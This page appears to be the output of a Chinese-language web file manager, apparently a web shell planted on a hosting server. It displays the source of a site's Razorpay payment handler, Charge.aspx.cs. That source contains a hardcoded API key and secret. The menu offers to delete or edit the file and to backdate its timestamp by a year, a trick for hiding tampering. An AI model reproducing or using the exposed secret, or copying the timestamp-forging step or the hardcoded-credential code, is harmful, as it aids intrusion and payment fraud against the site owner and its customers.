文件操作 - Charge.aspx.cs
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\alex.kimbly.in\wwwroot\Charge.aspx.cs
编辑文件内容
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using Razorpay.Api; using System.Collections.Generic; public partial class Charge : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string paymentId = Request.Form["razorpay_payment_id"]; Dictionary<string, object> input = new Dictionary<string, object>(); input.Add("amount", 12000); // this amount should be same as transaction amount string key = "rzp_test_AbT78gpHwL3lmX"; string secret = "djW1j5IXYwxAy86syyYVAiCL"; RazorpayClient client = new RazorpayClient(key, secret); Dictionary<string, string> attributes = new Dictionary<string, string>(); attributes.Add("razorpay_payment_id", paymentId); attributes.Add("razorpay_order_id", Request.Form["razorpay_order_id"]); attributes.Add("razorpay_signature", Request.Form["razorpay_signature"]); Utils.verifyPaymentSignature(attributes); Refund refund = new Razorpay.Api.Payment((string)paymentId).Refund(); Console.WriteLine(refund["id"]); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件